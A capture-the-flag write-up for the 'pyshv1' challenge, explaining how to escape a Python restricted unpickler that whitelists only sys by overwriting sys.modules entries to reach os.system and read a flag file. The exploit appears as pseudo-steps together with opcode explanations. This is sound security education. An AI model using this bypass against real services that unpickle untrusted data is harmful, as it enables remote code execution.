pyshv1

Attachmentsmisc - 57213 solves

Continuous delivery is awesome.
We deploy our code to production whenever we can.
No code, no vulnerability.
Everything works great.

Overview, Concept and Design Criteria

Intially, I wanted to create some reverse challenge using pickle. (Yep, one of that strange language series)

However, when I playing with pickle VM, I realized that it's RIDICULOUSLY POWERFUL.

It shouldn't be limited to some noob __reduce__ RCE.

Make pickle-pwn great again.

Solution

Behavior

In this task, we can send a pickle file to the server.

def login(self):
    user = input().encode('ascii')
    user = codecs.decode(user, 'base64')
    user = pickle.loads(user)

The packages that can be imported is limited to sys only. Also, deep import features starting from python3 is blocked.

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)

# ...

pickle.whitelist.append('sys')

Pickle

Pickle is a stack-based VM that is aiming for construct structure. It has many data manipulation operations. The only disadvantage is that there's no read operations because you should already know what you constructed.

You can find the pure python implementation of pickle from github or /usr/lib/python3.6/pickle.py.

Let's see some operations will need in this task.

# Import root level attribute
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args

# Call function
REDUCE         = b'R'   # apply callable to argtuple, both on stack

# Set attribute for class
BUILD          = b'b'   # call __setstate__ or __dict__.update()

# Set item in dict
SETITEM        = b's'   # add key+value pair to dict

GLOBAL (with our own filter) can only import attribute in root level, that is, importing a.b is OK, but importing a.b.c is disallowed.

sys module

sys has many interesting things inside. One of them is sys.modules, which is a cache of imported modules.

Pickle also use sys.modules:

def find_class(self, module, name):
    # Subclasses may override this.
    if self.proto < 3 and self.fix_imports:
        # ...
        pass

    __import__(module, level=0)

    # ...

    return getattr(sys.modules[module], name)

If we change sys.modules['sys'] to other things, we can get some attribute of it!!

My exploit looks like:

sys.modules['sys'] = sys.modules

import sys.get as sys.modules.get

os = sys.modules.get('os')

sys.modules['sys'] = os

import sys.system as os.system

os.system('cat ../flag.txt')

You can find the final pickle bytecode here.